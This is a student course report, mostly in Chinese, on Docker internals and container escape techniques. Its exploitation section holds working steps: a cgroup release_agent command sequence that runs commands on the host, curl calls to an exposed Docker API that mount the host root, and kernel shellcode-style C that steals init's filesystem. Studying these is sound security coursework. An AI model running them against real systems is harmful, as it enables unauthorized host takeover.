---
tags: AD
---
<!-- # NeggaParty2 -->
# The Attack and Defense of Computers <small>*(CE6105)*</small><br> [Project 2](https://hackmd.io/@ssrtw/ad22-project2) Report<br> *"Docker Escape"*
<!-- :::info
:::spoiler 作業說明
{%hackmd -4-TcH42Ruu32HkdRgjJsw %}
::: -->

<!-- Sandbox escape -> Container escape
Some reserach about docker escape -->
<table class="u17b5-table" style="width: 100%;">
<tr><th colspan="5">題目</th></tr>
<tr><td colspan="5" style="height: 140px;"><i><font size="5rem">Docker Escape</font></i></td></tr>
<tr><th style="width: 25%;">團隊名稱</th>
<th style="width: 10%;">項次</th>
<th style="width: 10%;">成員姓名</th>
<th style="width: 15%;">學系</th>
<th style="width: 15%;">學號</th></tr>
<tr><td rowspan="3" class="u17b5">឵<code>U+17B5</code></td><td rowspan="3">11</td>
<td>謝程偉</td><td>資訊工程學系</td><td>108502516</td></tr>
<tr><td>陳彥全</td><td>資訊工程學系</td><td>108502521</td></tr>
<tr><td>劉子雍</td><td>資訊工程學系</td><td>108502523</td></tr>
</table>
<style>
.u17b5 code
{
display: none;
}
.u17b5:hover code
{
display: inline;
}
table.u17b5-table th,
table.u17b5-table td
{
text-align: center !important;
}
</style>
## Contents
[TOC]
<div style="height: 400px;"></div>
## What Is Docker?
- 一個輕量級的作業系統虛擬化解決方案,以容器(container)的方式,只包含程式庫、系統工具、程式碼和執行時間等執行軟體所需的所有項目,藉此減少資源消耗與執行時間。
- 原先使用 Linux Containers(LXC)技術,現在是用 runC(以前稱為 libcontainer),讓 process 能夠在 host OS 的環境下執行並使用它的資源。
- 雖然減少了資源與時間消耗,但由於 container/kernel 之間隔離較弱、kernel 共享,它的安全性較差。
<!-- a cool technique; -->
### VM vs. Docker
- 相同的目標:實現虛擬化的資源管理。
#### VM
- 在 OS 裝上另一個 OS。
- 執行 Hypervisor 來模擬一整套完整的硬體環境,可以達到完整的資源分離,但也很浪費資源。
- 以 OS 來做分割。

#### Docker
- 使用原 OS。
- 以 container 做分割。

## How It Works?
<!-- (Linux-Based Systems) -->
- 利用 Linux Kernel 中的資源分離機制,在單一 Linux 系統下運作。
### Docker Daemon & Docker Client
- 因為 Docker 是個伺服器端-客戶端結構的應用,會透過伺服端來接收客戶請求並處理對 Container、Image 的操作(建立、執行、停止、分發),通常在 host 端後台執行。
- Docker Daemon:Docker 架構的伺服器端,有提供 RESTful API 給使用者操作或顯示container狀態。
- Docker Client:Docker 架構的客服端,以 command line 的方式讓使用者操作。
- 使用三種 socket:`UNIX`、`Tcp`、`FD`
- 預設使用非聯網的 `UNIX` socket,可以藉 `/var/run/docker.sock` 來使用它,需要 root 權限或是 Docker group member。
- 在聯網時會用到 `Tcp` socket 遠端連結 Docker Daemon。在慣例上,不加密會用 `port 2375`,加密會用 `port 2376`。
- 在系統與 Docker Daemon 交互溝通時,會使用 systemed socket `fd://`
### Namespaces
- 命名空間(Namespaces):主要是用來隔離。
- 實作 container 的要素之一,用於保證其中執行的應用在容器間互不影響。
- 命名空間抽象地包裝了全域系統資源,讓其內部的 process 看起來擁有自己的全域資源,當全域資源更動時,只有其內部的成員可見。
- 命名空間有很多種,各自有不同的用途。
| Namespace | Flag | Manual Page | Isolates resources |
| --------- | --------------- | --------------------- | ------------------------------------ |
| Cgroup | CLONE_NEWCGROUP | cgroup_namespaces(7) | Cgroup root directory |
| IPC | CLONE_NEWIPC | ipc_namespaces(7) | System V IPC, POSIX message queues |
| Network | CLONE_NEWNET | network_namespaces(7) | Network devices, stacks, ports, etc. |
| Mount | CLONE_NEWNS | mount_namespaces(7) | Mount points |
| PID | CLONE_NEWPID | pid_namespaces(7) | Process IDs |
| Time | CLONE_NEWTIME | time_namespaces(7) | Boot and monotonic clocks |
| User | CLONE_NEWUSER | user_namespaces(7) | User and group IDs |
| UTS | CLONE_NEWUTS | uts_namespaces(7) | Hostname and NIS domain name |
### Control groups(Cgroups)
- 主要是資源控管。
- 用來將 processes 以階層式分組的方式組織,並限制和監督裡頭各種類型資源使用。
- 內核的 cgroup 介面可以通過稱為 cgroupfs 的偽文件系統連結。
- 分組時會使用 cgroup kernel code,但是資源監督與控管是透過單一資源種類的子系統(記憶體、CPU 等)。
- 控制 process 能使用的記憶體容量或 CPU 資源,能避免 process 出問題讓整台電腦當機,Docker 則是用來限制 container 能用的 CPU 資源。
### Union File System
- 主要用來分享或發布映像檔(image)。
- 它可以把不同目錄掛載到同一個虛擬檔案系統下,其中被整合的成員目錄稱為分支。
- 裡頭能夠包含唯讀或可讀寫的檔案,還能藉由 copy-on-write 功能將唯讀和可讀寫的檔案合併(就是把對唯讀檔案的修改存到可讀寫檔案中)。
- Docker 支持各種不同的 UnionFS,舊版會偏向使用 AUFS,新版會使用 OverlayFS。
- AUFS(Advanced Multi-layered Unification File System)是 Linux 原本的UnionFS 重寫,有著 UFS 的特性還多了一些效能改進的措施,例如分支平衡、為分支修改權限等,不過它被多次拒絕合併到主線 Linux 後,作者放棄掙扎了。
- OverlayFS 是 Docker 之後使用的 UnionFS,它將要合併的檔案系統分成上層和下層,上層優先度較高,會取代同名檔案。
## Defense Mechanism
### Seccomp
- 這是一種 system call ,用來限制 process 可以使用的 system call 。
### Capabilities
- 原本 UNIX 中,只看使用者是哪種使用者(normal user、super user)來決定讀寫權限。
- 在 kernel 2.2 之後, Linux 將 super user 的權限分成多種,它就叫做 Capabilities ,可以被分別開啟或關閉。
- 一個 thread 開關 Capabilities 。
### LSM(Linux Security Modules)
- 它不是指某種防禦機制,而是電腦安全框架,有很多種,用他們的設定檔限制 Process 的存取權限。
- Docker 使用 AppArmor 來保護 host 資源。
- 此外 Capabilities 中開關 Mandatory Access Control(MAC) 就是藉由它實現。
<!-- magic; -->
## Exploitation
### Container Escape
- 主要漏洞為:Container engine 弱點、Capbility 和 Mount、Kernel 弱點
### Container Engine Bug
- runC [CVE-2019-5736](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736)
- runC(run container) 是個根據 OCI 規範運行 Container 的程式,而 Docker 就是用它。
- 條件:Container 有 root 權限、執行惡意 Container。
- 正常情況:
- 當呼叫 exec 時,runc 會把自己放入 namespace 當中 fork 子程序執行,但執行 `/proc/self/exe` 的話,它會再跑一次 runc,且這次會用 Container 內部的 library。
- 濫用:
- 改寫 runc 會用到的動態函式庫,但執行中的程式無法更改,因此用 open 的 O_PATH 留下 `/proc/self/exe` 的文件描述符,當 host 下次執行 exec 時,就會執行該描述符中的檔案。
> 這個漏洞會導致 runC 壞掉!
### Privileged Container
- 在 Privileged Container,沒有 Seccomp 限制且 Capability 全開(沒有限制 system call 與權限全開),主要是為了建立一個獨立環境做 host 能做的工作。
- Mount root
- 當 procfs 或 sysfs 暴露時,攻擊者就能藉由它做很多事,在 Privileged Container 前提下,它可以直接存取。
- 例如 `/proc` 顯示了所有正在執行的 kernel process data structure,包括在 namespace 中執行的process,也就是 container。你可以用 `/proc/[pid]/root` 不斷找尋當前 process 的 root 直到 PID=1 就是 host init process 了。
- 方法:使用 `ls /sys/dev/block/` 印出 host 根目錄後將其 mount 到 container 中,你就能存取根目錄檔案了。
- [Sensitive Mounts](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts)
- Cgroups v1 release notification
- 在 Cgroups 當中有個檔案叫 release_agent,用來清理新建的 Cgroups 讓 cgroupfs 保持乾淨,當呼叫它時會刪除 cgroup 目錄。
- 它會在 host 以 root 權限執行,因此我們能透過它在 Container 外執行命令。
- 在 Docker 的 command 中輸入以下指令:
1. d 用來找出 `release_agent` 的位置。
```bash=
d=`dirname $(ls -x /s*/fs/c*/*/r* | head -n1)`
```
2. 在 Cgroups 資料夾建立資料夾 w,並啟用 notify_on_release。當 Cgroups 為空、它的 task 文件 PID 為空時,kernel 會執行 release_agent。
```bash=+
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
```
3. t 用來找出 Host 看到的 container 檔案路徑,讓 release_agent 可以呼叫想跑的惡意腳本。
```bash=+
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
```
4. 將 `release_agent` 指到腳本,把 `echo 0 > $d/w/cgroup.procs` 加入 w 中,當 echo 完,就完成了。
```bash=+
touch /o; echo $t/c > $d/release_agent; echo "#!/bin/sh
$1 > $t/o" > /c; chmod +x /c; sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1; cat /o
```
### Exposed docker.sock
- 假如是 Privileged Container,可以在透過 socket 建立 container 時將 host root 目錄 mount 上去。
1. 下載 Image
``` bash=
curl \
-s \
"http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
-X POST \
-H 'Content-Type: application/json'
```
2. 建立 Container
``` bash=+
curl \
-s \
"http://<host>:<port>/containers/create" \
-X POST \
-H "Content-Type: application/json" \
-d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,
"AttachStdout": true,"AttachStderr": true,"Tty": true,
"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash",
"Image": "ubuntu","Volumes": {"/hostfs/": {}},
"HostConfig": {"Binds": ["/:/hostfs"]}}'
```
3. 然後就能在建立的 Container 執行 command on host system,記得先換到 host 根目錄。
``` bash=+
chroot /hostfs
```
- 如果不是 Privileged Container,可以在 Docker 中跑 Docker,建立一個 Privileged Container,就能用前面的手法取得 host 控制。
### Linux Kernel Exploit
- 在 Linux 的 process 結構 `task_struct` 中,有個 `fs_struct fs` 可以看到 process 的 root ,我們可以不斷的往上找,直到 PID=1 時,就是 host 的初始 process,透過它的 fs 就能存取 host 的根目錄。
```c=
typedef unsigned long __attribute__((regparm(3)))
(*_copy_fs_struct)(unsigned long init_task);
uint64_t get_task(void) {
uint64_t task;
asm volatile ("movq %%gs: 0xD380, %0":"=r"(task));
return task;
}
void get_root(void) {
int i;
char *task;
char *init;
uint32_t pid = 0;
// 用來讓該 process 變成 root 權限
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
// 往上找到 init process
task = (char *)get_task();
init = task;
while (pid != 1) {
init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
pid = *(uint32_t *)(init + TASK_PID_OFFSET);
}
// 找到 init process 之後再用 copy_fs_struct 把 fs 複製回來
*(uint64_t *)(task + TASK_FS_OFFSET) =
((_copy_fs_struct)(COPY_FS_STRUCT))(
*(long unsigned int *)(init + TASK_FS_OFFSET));
}
```
- 在 Privileged Container 的前提下就能夠 escape,其他的話要繞過 Namespace。
<!-- ask hackers; -->
<!--
Here are some possible way to exploit we've found:
- vulnerability of runC
- exploition of Linux kernel (host env)
-->
<!-- ## Correspond -->
<!-- pray for life; -->
## References
**Very Useful Reference.**
》》》 https://yt.be/tcJ3V 《《《
:::success
<h3 style="margin-top: 6px;">Docker Basic</h3>
- https://cwhu.medium.com/docker-tutorial-101-c3808b899ac6
- https://philipzheng.gitbook.io/docker_practice/introduction/what
:::
:::success
<h3 style="margin-top: 6px;">Docker Break Point & Container Escape</h3>
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
- https://teamt5.org/tw/posts/container-escape-101/
- https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
- https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket
:::
:::success
<h3 style="margin-top: 6px;">Linux manual page</h3>
- https://man7.org/linux/man-pages/man7/namespaces.7.html
- https://man7.org/linux/man-pages/man7/cgroups.7.html
- https://man7.org/linux/man-pages/man2/seccomp.2.html
- https://man7.org/linux/man-pages/man7/capabilities.7.html
:::
:::success
<h3 style="margin-top: 6px;">Docker Escape tool</h3>
- https://github.com/PercussiveElbow/docker-escape-tool
- https://github.com/Frichetten/CVE-2019-5736-PoC
- https://twitter.com/_fel1x/status/1151487051986087936
:::